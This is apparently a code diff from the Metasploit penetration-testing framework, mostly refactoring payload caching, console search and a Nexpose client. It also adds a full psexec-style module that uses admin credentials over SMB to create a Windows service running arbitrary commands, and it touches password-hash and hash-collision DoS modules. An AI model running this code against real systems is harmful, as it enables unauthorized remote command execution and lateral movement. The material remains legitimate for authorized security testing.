_temp[stager_name] = op
|
||||
}
|
||||
# Recalculate staged payloads
|
||||
_temp.each_pair { |stager_name, op|
|
||||
mod, handler = op
|
||||
_stagers.each_pair { |stager_name, op|
|
||||
stager_mod, handler, stager_platform, stager_arch, stager_inst = op
|
||||
|
||||
# Walk the array of stages
|
||||
_stages.each_pair { |stage_name, ip|
|
||||
stage_mod, junk, stage_platform, stage_arch, stage_inst = ip
|
||||
stage_mod, _, stage_platform, stage_arch, stage_inst = ip
|
||||
|
||||
# No intersection between platforms on the payloads?
|
||||
if ((stager_platform) and
|
||||
|
@ -179,12 +152,20 @@ class PayloadSet < ModuleSet
|
|||
'files' => op[5]['files'] + ip[5]['files'],
|
||||
'paths' => op[5]['paths'] + ip[5]['paths'],
|
||||
'type' => op[5]['type']})
|
||||
new_keys.push combined
|
||||
|
||||
# Cache the payload's size
|
||||
sizes[combined] = p.new.size
|
||||
}
|
||||
}
|
||||
|
||||
# Blow away anything that was cached but didn't exist during the
|
||||
# recalculation
|
||||
self.delete_if do |k, v|
|
||||
next if v == SymbolicModule
|
||||
!!(old_keys.include?(k) and not new_keys.include?(k))
|
||||
end
|
||||
|
||||
flush_blob_cache
|
||||
end
|
||||
|
||||
|
@ -276,8 +257,7 @@ class PayloadSet < ModuleSet
|
|||
# returns an instance of that payload.
|
||||
#
|
||||
def find_payload_from_set(set, platform, arch, handler, session, payload_type)
|
||||
set.each do |m|
|
||||
name,mod = m
|
||||
set.each do |name, mod|
|
||||
p = mod.new
|
||||
|
||||
# We can't substitute one generic with another one.
|
||||
|
@ -303,6 +283,8 @@ class PayloadSet < ModuleSet
|
|||
#
|
||||
def add_single(p, name, modinfo)
|
||||
p.framework = framework
|
||||
p.refname = name
|
||||
p.file_path = modinfo['files'][0]
|
||||
|
||||
# Associate this class with the single payload's name
|
||||
self[name] = p
|
||||
|
@ -310,9 +292,6 @@ class PayloadSet < ModuleSet
|
|||
# Add the singles hash
|
||||
singles[name] = p
|
||||
|
||||
# Add it to the global module set
|
||||
manager.add_module(p, name, modinfo)
|
||||
|
||||
dlog("Built single payload #{name}.", 'core', LEV_2)
|
||||
end
|
||||
|
||||
|
@ -322,13 +301,12 @@ class PayloadSet < ModuleSet
|
|||
#
|
||||
def add_stage(p, full_name, stage_name, handler_type, modinfo)
|
||||
p.framework = framework
|
||||
p.refname = full_name
|
||||
p.file_path = modinfo['files'][0]
|
||||
|
||||
# Associate this stage's full name with the payload class in the set
|
||||
self[full_name] = p
|
||||
|
||||
# Add the full name association in the global module set
|
||||
manager.add_module(p, full_name, modinfo)
|
||||
|
||||
# Create the hash entry for this stage and then create
|
||||
# the associated entry for the handler type
|
||||
stages[stage_name] = {} if (!stages[stage_name])
|
||||
|
@ -445,7 +423,7 @@ protected
|
|||
return klass
|
||||
end
|
||||
|
||||
attr_accessor :manager, :payload_type_modules # :nodoc:
|
||||
attr_accessor :payload_type_modules # :nodoc:
|
||||
attr_writer :stages, :singles, :sizes # :nodoc:
|
||||
attr_accessor :_instances # :nodoc:
|
||||
|
||||
|
|
|
@ -74,12 +74,12 @@ module Banner
|
|||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
',
|
||||
'
|
||||
_ _
|
||||
/ \\ / \\ __ _ __ /_/ __
|
||||
| |\\ / | _____ \\ \\ ___ _____ | | / \\ _ \\ \\
|
||||
| | \\/| | | ___\\ |- -| /\\ / __\\ | -__/ | | | | || | |- -|
|
||||
|_| | | | _|__ | |_ / -\\ __\\ \\ | | | |_ \__/ | | | |_
|
||||
|/ |____/ \\___\\/ /\\ \\___/ \\/ \\__| |_\\ \\___\\
|
||||
_ _
|
||||
/ \ /\ __ _ __ /_/ __
|
||||
| |\ / | _____ \ \ ___ _____ | | / \ _ \ \
|
||||
| | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -|
|
||||
|_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_
|
||||
|/ |____/ \___\/ /\ \\\\___/ \/ \__| |_\ \___\
|
||||
',
|
||||
%Q{
|
||||
%whiIIIIII %reddTb.dTb%clr _.---._
|
||||
|
|
|
@ -1333,28 +1333,29 @@ class Core
|
|||
match += val + " "
|
||||
end
|
||||
}
|
||||
|
||||
|
||||
if framework.db and framework.db.migrated and framework.db.modules_cached
|
||||
return search_modules_sql(match)
|
||||
search_modules_sql(match)
|
||||
return
|
||||
end
|
||||
|
||||
print_error("Warning: database not connected or cache not built, falling back to slow search")
|
||||
|
||||
print_warning("Database not connected or cache not built, using slow search")
|
||||
|
||||
tbl = generate_module_table("Matching Modules")
|
||||
[
|
||||
framework.exploits,
|
||||
framework.auxiliary,
|
||||
framework.post,
|
||||
framework.payloads,
|
||||
[
|
||||
framework.exploits,
|
||||
framework.auxiliary,
|
||||
framework.post,
|
||||
framework.payloads,
|
||||
framework.nops,
|
||||
framework.encoders
|
||||
framework.encoders
|
||||
].each do |mset|
|
||||
mset.each do |m|
|
||||
o = mset.create(m[0])
|
||||
|
||||
o = mset.create(m[0]) rescue nil
|
||||
|
||||
# Expected if modules are loaded without the right pre-requirements
|
||||
next if not o
|
||||
|
||||
|
||||
if not o.search_filter(match)
|
||||
tbl << [ o.fullname, o.disclosure_date.to_s, o.rank_to_s, o.name ]
|
||||
end
|
||||
|
@ -1363,7 +1364,7 @@ class Core
|
|||
print_line(tbl.to_s)
|
||||
|
||||
end
|
||||
|
||||
|
||||
def search_modules_sql(match)
|
||||
tbl = generate_module_table("Matching Modules")
|
||||
framework.db.search_modules(match).each do |o|
|
||||
|
@ -1858,7 +1859,7 @@ class Core
|
|||
end
|
||||
|
||||
if (mod.exploit? and mod.datastore['PAYLOAD'])
|
||||
p = framework.modules.create(mod.datastore['PAYLOAD'])
|
||||
p = framework.payloads.create(mod.datastore['PAYLOAD'])
|
||||
if (p)
|
||||
p.options.sorted.each { |e|
|
||||
name, opt = e
|
||||
|
@ -2388,7 +2389,7 @@ class Core
|
|||
|
||||
# How about the selected payload?
|
||||
if (mod.exploit? and mod.datastore['PAYLOAD'])
|
||||
p = framework.modules.create(mod.datastore['PAYLOAD'])
|
||||
p = framework.payloads.create(mod.datastore['PAYLOAD'])
|
||||
if (p and p.options.include?(opt))
|
||||
res.concat(option_values_dispatch(p.options[opt], str, words))
|
||||
end
|
||||
|
@ -2622,7 +2623,7 @@ protected
|
|||
# If it's an exploit and a payload is defined, create it and
|
||||
# display the payload's options
|
||||
if (mod.exploit? and mod.datastore['PAYLOAD'])
|
||||
p = framework.modules.create(mod.datastore['PAYLOAD'])
|
||||
p = framework.payloads.create(mod.datastore['PAYLOAD'])
|
||||
|
||||
if (!p)
|
||||
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
|
||||
|
@ -2687,7 +2688,7 @@ protected
|
|||
# If it's an exploit and a payload is defined, create it and
|
||||
# display the payload's options
|
||||
if (mod.exploit? and mod.datastore['PAYLOAD'])
|
||||
p = framework.modules.create(mod.datastore['PAYLOAD'])
|
||||
p = framework.payloads.create(mod.datastore['PAYLOAD'])
|
||||
|
||||
if (!p)
|
||||
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
|
||||
|
@ -2710,7 +2711,7 @@ protected
|
|||
# If it's an exploit and a payload is defined, create it and
|
||||
# display the payload's options
|
||||
if (mod.exploit? and mod.datastore['PAYLOAD'])
|
||||
p = framework.modules.create(mod.datastore['PAYLOAD'])
|
||||
p = framework.payloads.create(mod.datastore['PAYLOAD'])
|
||||
|
||||
if (!p)
|
||||
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
|
||||
|
@ -2796,4 +2797,3 @@ end
|
|||
|
||||
|
||||
end end end end
|
||||
|
||||
|
|
|
@ -228,10 +228,7 @@ class Driver < Msf::Ui::Driver
|
|||
|
||||
# Rebuild the module cache in a background thread
|
||||
self.framework.threads.spawn("ModuleCacheRebuild", true) do
|
||||
self.framework.cache_thread = Thread.current
|
||||
self.framework.modules.refresh_cache_from_module_files
|
||||
self.framework.cache_initialized = true
|
||||
self.framework.cache_thread = nil
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -531,7 +528,7 @@ class Driver < Msf::Ui::Driver
|
|||
framework.modules.module_load_error_by_path.each do |path, error|
|
||||
print_error("\t#{path}: #{error}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
framework.events.on_ui_start(Msf::Framework::Revision)
|
||||
|
||||
|
@ -554,7 +551,7 @@ class Driver < Msf::Ui::Driver
|
|||
case var.downcase
|
||||
when "payload"
|
||||
|
||||
if (framework and framework.modules.valid?(val) == false)
|
||||
if (framework and framework.payloads.valid?(val) == false)
|
||||
return false
|
||||
elsif (active_module)
|
||||
active_module.datastore.clear_non_user_defined
|
||||
|
|
|
@ -22,7 +22,7 @@ end
|
|||
if not _msf_gemcache
|
||||
# The user is running outside of the installer environment and not using
|
||||
# our bundled gemset, so we fallback on bundler instead
|
||||
ENV['BUNDLE_GEMFILE'] = ::File.expand_path(::File.join(::File.dirname(__FILE__), "..", "Gemfile"))
|
||||
ENV['BUNDLE_GEMFILE'] ||= ::File.expand_path(::File.join(::File.dirname(__FILE__), "..", "Gemfile"))
|
||||
begin
|
||||
require 'bundler/setup'
|
||||
rescue ::LoadError
|
||||
|
|
|
@ -181,7 +181,7 @@ class APIRequest
|
|||
@trace = m.text
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# This is a hack to handle corner cases where a heavily loaded Nexpose instance
|
||||
# drops our HTTP connection before processing. We try 5 times to establish a
|
||||
# connection in these situations. The actual exception occurs in the Ruby
|
||||
|
@ -202,7 +202,7 @@ class APIRequest
|
|||
# Handle console-level interrupts
|
||||
rescue ::Interrupt
|
||||
@error = "Received a user interrupt"
|
||||
rescue ::Errno::ECONNRESET,::Errno::ECONNREFUSED,::Errno::ENOTCONN,::Errno::ECONNABORTED
|
||||
rescue ::Errno::ECONNRESET,::Errno::ECONNREFUSED,::Errno::ENOTCONN,::Errno::ECONNABORTED, ::OpenSSL::SSL::SSLError
|
||||
@error = "Nexpose service is not available"
|
||||
rescue ::REXML::ParseException
|
||||
@error = "Nexpose has not been properly licensed"
|
||||
|
@ -240,7 +240,7 @@ module NexposeAPI
|
|||
opts.keys.each do |k|
|
||||
xml.attributes[k] = "#{opts[k]}"
|
||||
end
|
||||
|
||||
|
||||
xml.text = data
|
||||
|
||||
xml
|
||||
|
@ -252,7 +252,7 @@ module NexposeAPI
|
|||
opts.keys.each do |k|
|
||||
xml.attributes[k] = "#{opts[k]}"
|
||||
end
|
||||
|
||||
|
||||
xml.text = data
|
||||
|
||||
xml
|
||||
|
@ -346,6 +346,26 @@ module NexposeAPI
|
|||
res
|
||||
end
|
||||
|
||||
def report_last_detail(param)
|
||||
r = execute(make_xml('ReportHistoryRequest', { 'reportcfg-id' => param }))
|
||||
res = nil
|
||||
if(r.success)
|
||||
stk = {}
|
||||
r.res.elements.each("//ReportSummary") do |rep|
|
||||
stk[ rep.attributes['id'].to_i ] = {
|
||||
'id' => rep.attributes['id'].to_i,
|
||||
'url' => rep.attributes['report-URI'],
|
||||
'status' => rep.attributes['status'],
|
||||
'date' => rep.attributes['generated-on']
|
||||
}
|
||||
end
|
||||
if (stk.keys.length > 0)
|
||||
res = stk[ stk.keys.sort{|a,b| b[0] <=> a[0]}.first ]
|
||||
end
|
||||
end
|
||||
res
|
||||
end
|
||||
|
||||
def report_history(param)
|
||||
execute(make_xml('ReportHistoryRequest', { 'reportcfg-id' => param }))
|
||||
end
|
||||
|
@ -504,10 +524,10 @@ module NexposeAPI
|
|||
r = execute(make_xml('SiteDeleteRequest', { 'site-id' => param }))
|
||||
r.success
|
||||
end
|
||||
|
||||
|
||||
def site_listing
|
||||
r = execute(make_xml('SiteListingRequest', { }))
|
||||
|
||||
|
||||
if(r.success)
|
||||
res = []
|
||||
r.res.elements.each("//SiteSummary") do |site|
|
||||
|
@ -549,7 +569,7 @@ module NexposeAPI
|
|||
|
||||
def site_device_listing(site_id)
|
||||
r = execute(make_xml('SiteDeviceListingRequest', { 'site-id' => site_id.to_s }))
|
||||
|
||||
|
||||
if(r.success)
|
||||
res = []
|
||||
r.res.elements.each("//device") do |device|
|
||||
|
@ -576,7 +596,7 @@ module NexposeAPI
|
|||
template.elements.each("//description") do |ent|
|
||||
desc = ent.text
|
||||
end
|
||||
|
||||
|
||||
res << {
|
||||
:template_id => template.attributes['id'].to_s,
|
||||
:name => template.attributes['name'].to_s,
|
||||
|
@ -587,7 +607,7 @@ module NexposeAPI
|
|||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def console_command(cmd_string)
|
||||
|
@ -595,7 +615,7 @@ module NexposeAPI
|
|||
cmd = REXML::Element.new('Command')
|
||||
cmd.text = cmd_string
|
||||
xml << cmd
|
||||
|
||||
|
||||
r = execute(xml)
|
||||
|
||||
if(r.success)
|
||||
|
@ -603,12 +623,12 @@ module NexposeAPI
|
|||
r.res.elements.each("//Output") do |out|
|
||||
res << out.text.to_s
|
||||
end
|
||||
|
||||
|
||||
return res
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def system_information
|
||||
r = execute(make_xml('SystemInformationRequest', { }))
|
||||
|
@ -618,13 +638,13 @@ module NexposeAPI
|
|||
r.res.elements.each("//Statistic") do |stat|
|
||||
res[ stat.attributes['name'].to_s ] = stat.text.to_s
|
||||
end
|
||||
|
||||
|
||||
return res
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# === Description
|
||||
|
@ -725,6 +745,7 @@ class Connection
|
|||
http.verify_mode = OpenSSL::SSL::VERIFY_NONE # XXX: security issue
|
||||
headers = {'Cookie' => "nexposeCCSessionID=#{@session_id}"}
|
||||
resp = http.get(uri.path, headers)
|
||||
|
||||
resp ? resp.body : nil
|
||||
end
|
||||
end
|
||||
|
@ -2312,7 +2333,7 @@ class ReportConfig
|
|||
def generateReport(debug = false)
|
||||
return generateReport(@connection, @config_id, debug)
|
||||
end
|
||||
|
||||
|
||||
# === Description
|
||||
# Save the report definition to the NSC.
|
||||
# Returns the config-id.
|
||||
|
@ -2576,4 +2597,3 @@ def self.printXML(object)
|
|||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -45,6 +45,9 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
"-r" => [ true, "The remote machine name to connect to (with current process credentials" ],
|
||||
"-w" => [ false, "Set KEY_WOW64 flag, valid values [32|64]." ])
|
||||
|
||||
#
|
||||
# Options for the 'ps' command.
|
||||
#
|
||||
@@ps_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ],
|
||||
"-S" => [ true, "Filters processes on the process name using the supplied RegEx"],
|
||||
|
@ -262,20 +265,46 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
# Kills one or more processes.
|
||||
#
|
||||
def cmd_kill(*args)
|
||||
if (args.length == 0)
|
||||
print_line(
|
||||
"Usage: kill pid1 pid2 pid3 ...\n\n" +
|
||||
"Terminate one or more processes.")
|
||||
# give'em help if they want it, or seem confused
|
||||
if ( args.length == 0 or (args.length == 1 and args[0].strip == "-h") )
|
||||
cmd_kill_help
|
||||
return true
|
||||
end
|
||||
|
||||
# validate all the proposed pids first so we can bail if one is bogus
|
||||
args.each do |arg|
|
||||
if not is_valid_pid?(arg)
|
||||
print_error("#{arg} is not a valid pid")
|
||||
cmd_kill_help
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
# kill kill kill
|
||||
print_line("Killing: #{args.join(", ")}")
|
||||
|
||||
client.sys.process.kill(*(args.map { |x| x.to_i }))
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
#
|
||||
# help for the kill command
|
||||
#
|
||||
def cmd_kill_help
|
||||
print_line("Usage: kill pid1 pid2 pid3 ...\n\nTerminate one or more processes.")
|
||||
end
|
||||
|
||||
#
|
||||
# Checks if +pid+ is a valid looking pid
|
||||
#
|
||||
def is_valid_pid?(pid)
|
||||
# in lieu of checking server side for pid validity at the moment, we just sanity check here
|
||||
pid.strip!
|
||||
return false if pid.strip =~ /^-/ # invalid if it looks "negative"
|
||||
return true if pid == "0" # allow them to kill pid 0, otherwise false
|
||||
# cuz everything returned from .to_i that's not an int returns 0, we depend on the statement above
|
||||
return true if pid.to_i > 0
|
||||
end
|
||||
|
||||
#
|
||||
# Lists running processes.
|
||||
#
|
||||
|
|
|
@ -219,6 +219,33 @@ module Text
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the words in +str+ as an Array.
|
||||
#
|
||||
# strict - include *only* words, no boundary characters (like spaces, etc.)
|
||||
#
|
||||
def self.to_words( str, strict = false )
|
||||
splits = str.split( /\b/ )
|
||||
splits.reject! { |w| !(w =~ /\w/) } if strict
|
||||
splits
|
||||
end
|
||||
|
||||
#
|
||||
# Removes noise from 2 Strings and return a refined String version.
|
||||
#
|
||||
def self.refine( str1, str2 )
|
||||
return str1 if str1 == str2
|
||||
|
||||
# get the words of the first str in an array
|
||||
s_words = to_words( str1 )
|
||||
|
||||
# get the words of the second str in an array
|
||||
o_words = to_words( str2 )
|
||||
|
||||
# get what hasn't changed (the rdiff, so to speak) as a string
|
||||
(s_words - (s_words - o_words)).join
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a unicode escaped string for Javascript
|
||||
#
|
||||
|
|
|
@ -0,0 +1,270 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
# Exploit mixins should be called first
|
||||
include Msf::Exploit::Remote::SMB
|
||||
include Msf::Exploit::Remote::SMB::Authenticated
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Exploit::Remote::DCERPC
|
||||
|
||||
# Aliases for common classes
|
||||
SIMPLE = Rex::Proto::SMB::SimpleClient
|
||||
XCEPT = Rex::Proto::SMB::Exceptions
|
||||
CONST = Rex::Proto::SMB::Constants
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Microsoft Windows Authenticated Command Execution',
|
||||
'Description' => %q{
|
||||
This module uses a valid administrator username and password to execute an
|
||||
arbitrary command on one or more hosts, using a similar technique than the "psexec"
|
||||
utility provided by SysInternals. Daisy chaining commands with '&' does not work
|
||||
and users shouldn't try it. This module is useful because it doesn't need to upload
|
||||
any binaries to the target machine.
|
||||
},
|
||||
|
||||
'Author' => [
|
||||
'Royce @R3dy__ Davis <rdavis[at]accuvant.com>',
|
||||
],
|
||||
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
|
||||
[ 'OSVDB', '3106'],
|
||||
[ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ],
|
||||
[ 'URL', 'http://sourceforge.net/projects/smbexec/' ],
|
||||
[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
|
||||
]
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']),
|
||||
OptString.new('COMMAND', [true, 'The command you want to execute on the remote host', 'net group "Domain Admins" /domain']),
|
||||
OptString.new('RPORT', [true, 'The Target port', 445]),
|
||||
OptString.new('WINPATH', [true, 'The name of the remote Windows directory', 'WINDOWS']),
|
||||
], self.class)
|
||||
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def peer
|
||||
return "#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
# This is the main controle method
|
||||
def run_host(ip)
|
||||
text = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt"
|
||||
bat = "%WINDIR%\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat"
|
||||
smbshare = datastore['SMBSHARE']
|
||||
|
||||
#Try and authenticate with given credentials
|
||||
if connect
|
||||
begin
|
||||
smb_login
|
||||
rescue StandardError => autherror
|
||||
print_error("#{peer} - Unable to authenticate with given credentials: #{autherror}")
|
||||
return
|
||||
end
|
||||
if execute_command(ip, text, bat)
|
||||
get_output(smbshare, ip, text)
|
||||
end
|
||||
cleanup_after(smbshare, ip, text, bat)
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
|
||||
# Executes specified Windows Command
|
||||
def execute_command(ip, text, bat)
|
||||
begin
|
||||
#Try and execute the provided command
|
||||
execute = "%COMSPEC% /C echo #{datastore['COMMAND']} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}"
|
||||
print_status("#{peer} - Executing the command...")
|
||||
return psexec(execute)
|
||||
rescue StandardError => exec_command_error
|
||||
print_error("#{peer} - Unable to execute specified command: #{exec_command_error}")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
# Retrive output from command
|
||||
def get_output(smbshare, ip, file)
|
||||
begin
|
||||
print_status("#{peer} - Getting the command output...")
|
||||
simple.connect("\\\\#{ip}\\#{smbshare}")
|
||||
outfile = simple.open(file, 'ro')
|
||||
output = outfile.read
|
||||
outfile.close
|
||||
simple.disconnect("\\\\#{ip}\\#{smbshare}")
|
||||
if output.empty?
|
||||
print_status("#{peer} - Command finished with no output")
|
||||
return
|
||||
end
|
||||
print_good("#{peer} - Command completed successfuly! Output:\r\n#{output}")
|
||||
return
|
||||
rescue StandardError => output_error
|
||||
print_error("#{peer} - Error getting command output. #{output_error.class}. #{output_error}.")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
# This is the cleanup method, removes .txt and .bat file/s created during execution-
|
||||
def cleanup_after(smbshare, ip, text, bat)
|
||||
begin
|
||||
# Try and do cleanup command
|
||||
cleanup = "%COMSPEC% /C del %SYSTEMDRIVE%#{text} & del #{bat}"
|
||||
print_status("#{peer} - Executing cleanup...")
|
||||
psexec(cleanup)
|
||||
if !check_cleanup(smbshare, ip, text)
|
||||
print_error("#{peer} - Unable to cleanup. Maybe you'll need to manually remove #{text} and #{bat} from the target.")
|
||||
else
|
||||
print_status("#{peer} - Cleanup was successful")
|
||||
end
|
||||
rescue StandardError => cleanuperror
|
||||
print_error("#{peer} - Unable to processes cleanup commands. Error: #{cleanuperror}")
|
||||
print_error("#{peer} - Maybe you'll need to manually remove #{text} and #{bat} from the target")
|
||||
return cleanuperror
|
||||
end
|
||||
end
|
||||
|
||||
def check_cleanup(smbshare, ip, text)
|
||||
simple.connect("\\\\#{ip}\\#{smbshare}")
|
||||
begin
|
||||
if checktext = simple.open(text, 'ro')
|
||||
check = false
|
||||
else
|
||||
check = true
|
||||
end
|
||||
simple.disconnect("\\\\#{ip}\\#{smbshare}")
|
||||
return check
|
||||
rescue StandardError => check_error
|
||||
simple.disconnect("\\\\#{ip}\\#{smbshare}")
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
# This code was stolen straight out of psexec.rb. Thanks very much HDM and all who contributed to that module!!
|
||||
# Instead of uploading and runing a binary. This method runs a single windows command fed into the COMMAND paramater
|
||||
def psexec(command)
|
||||
|
||||
simple.connect("IPC$")
|
||||
|
||||
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
|
||||
vprint_status("#{peer} - Binding to #{handle} ...")
|
||||
dcerpc_bind(handle)
|
||||
vprint_status("#{peer} - Bound to #{handle} ...")
|
||||
|
||||
vprint_status("#{peer} - Obtaining a service manager handle...")
|
||||
scm_handle = nil
|
||||
stubdata =
|
||||
NDR.uwstring("\\\\#{rhost}") +
|
||||
NDR.long(0) +
|
||||
NDR.long(0xF003F)
|
||||
begin
|
||||
response = dcerpc.call(0x0f, stubdata)
|
||||
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
||||
scm_handle = dcerpc.last_response.stub_data[0,20]
|
||||
end
|
||||
rescue ::Exception => e
|
||||
print_error("#{peer} - Error: #{e}")
|
||||
return false
|
||||
end
|
||||
|
||||
servicename = Rex::Text.rand_text_alpha(11)
|
||||
displayname = Rex::Text.rand_text_alpha(16)
|
||||
holdhandle = scm_handle
|
||||
svc_handle = nil
|
||||
svc_status = nil
|
||||
|
||||
stubdata =
|
||||
scm_handle +
|
||||
NDR.wstring(servicename) +
|
||||
NDR.uwstring(displayname) +
|
||||
|
||||
NDR.long(0x0F01FF) + # Access: MAX
|
||||
NDR.long(0x00000110) + # Type: Interactive, Own process
|
||||
NDR.long(0x00000003) + # Start: Demand
|
||||
NDR.long(0x00000000) + # Errors: Ignore
|
||||
NDR.wstring( command ) +
|
||||
NDR.long(0) + # LoadOrderGroup
|
||||
NDR.long(0) + # Dependencies
|
||||
NDR.long(0) + # Service Start
|
||||
NDR.long(0) + # Password
|
||||
NDR.long(0) + # Password
|
||||
NDR.long(0) + # Password
|
||||
NDR.long(0) # Password
|
||||
begin
|
||||
vprint_status("#{peer} - Creating the service...")
|
||||
response = dcerpc.call(0x0c, stubdata)
|
||||
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
||||
svc_handle = dcerpc.last_response.stub_data[0,20]
|
||||
svc_status = dcerpc.last_response.stub_data[24,4]
|
||||
end
|
||||
rescue ::Exception => e
|
||||
print_error("#{peer} - Error: #{e}")
|
||||
return false
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Closing service handle...")
|
||||
begin
|
||||
response = dcerpc.call(0x0, svc_handle)
|
||||
rescue ::Exception
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Opening service...")
|
||||
begin
|
||||
stubdata =
|
||||
scm_handle +
|
||||
NDR.wstring(servicename) +
|
||||
NDR.long(0xF01FF)
|
||||
|
||||
response = dcerpc.call(0x10, stubdata)
|
||||
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
||||
svc_handle = dcerpc.last_response.stub_data[0,20]
|
||||
end
|
||||
rescue ::Exception => e
|
||||
print_error("#{peer} - Error: #{e}")
|
||||
return false
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Starting the service...")
|
||||
stubdata =
|
||||
svc_handle +
|
||||
NDR.long(0) +
|
||||
NDR.long(0)
|
||||
begin
|
||||
response = dcerpc.call(0x13, stubdata)
|
||||
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
||||
end
|
||||
rescue ::Exception => e
|
||||
print_error("#{peer} - Error: #{e}")
|
||||
return false
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Removing the service...")
|
||||
stubdata =
|
||||
svc_handle
|
||||
begin
|
||||
response = dcerpc.call(0x02, stubdata)
|
||||
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
||||
end
|
||||
rescue ::Exception => e
|
||||
print_error("#{peer} - Error: #{e}")
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Closing service handle...")
|
||||
begin
|
||||
response = dcerpc.call(0x0, svc_handle)
|
||||
rescue ::Exception => e
|
||||
print_error("#{peer} - Error: #{e}")
|
||||
end
|
||||
|
||||
select(nil, nil, nil, 1.0)
|
||||
simple.disconnect("IPC$")
|
||||
return true
|
||||
end
|
||||
|
||||
end
|
|
@ -31,15 +31,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
register_options(
|
||||
[
|
||||
OptPath.new('passwd', [true, 'The path to the passwd file']),
|
||||
OptPath.new('shadow', [true, 'The path to the shadow file']),
|
||||
OptPath.new('PASSWD_PATH', [true, 'The path to the passwd file']),
|
||||
OptPath.new('SHADOW_PATH', [true, 'The path to the shadow file']),
|
||||
OptAddress.new('IP', [true, 'The IP address if the host the shadow file came from']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
unshadow = john_unshadow(datastore['passwd'],datastore['shadow'])
|
||||
unshadow = john_unshadow(datastore['PASSWD_PATH'],datastore['SHADOW_PATH'])
|
||||
if unshadow
|
||||
print_good(unshadow)
|
||||
filename= "#{datastore['IP']}_Linux_Hashes.txt"
|
||||
|
|
|
@ -61,11 +61,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('recursivemax', [false, "Maximum recursions when searching for collisionchars", 15]),
|
||||
OptInt.new('maxpayloadsize', [false, "Maximum size of the Payload in Megabyte. Autoadjust if 0", 0]),
|
||||
OptInt.new('collisionchars', [false, "Number of colliding chars to find", 5]),
|
||||
OptInt.new('collisioncharlength', [false, "Length of the collision chars (2 = Ey, FZ; 3=HyA, ...)", 2]),
|
||||
OptInt.new('payloadlength', [false, "Length of each parameter in the payload", 8])
|
||||
OptInt.new('RecursiveMax', [false, "Maximum recursions when searching for collisionchars", 15]),
|
||||
OptInt.new('MaxPayloadSize', [false, "Maximum size of the Payload in Megabyte. Autoadjust if 0", 0]),
|
||||
OptInt.new('CollisionChars', [false, "Number of colliding chars to find", 5]),
|
||||
OptInt.new('CollisionCharLength', [false, "Length of the collision chars (2 = Ey, FZ; 3=HyA, ...)", 2]),
|
||||
OptInt.new('PayloadLength', [false, "Length of each parameter in the payload", 8])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -77,12 +77,12 @@ class Metasploit3 < Msf::Auxiliary
|
|||
collision_chars = compute_collision_chars
|
||||
return nil if collision_chars == nil
|
||||
|
||||
length = datastore['payloadlength']
|
||||
length = datastore['PayloadLength']
|
||||
size = collision_chars.length
|
||||
post = ""
|
||||
max_value_float = size ** length
|
||||
max_value_int = max_value_float.floor
|
||||
print_status("Generating POST data...")
|
||||
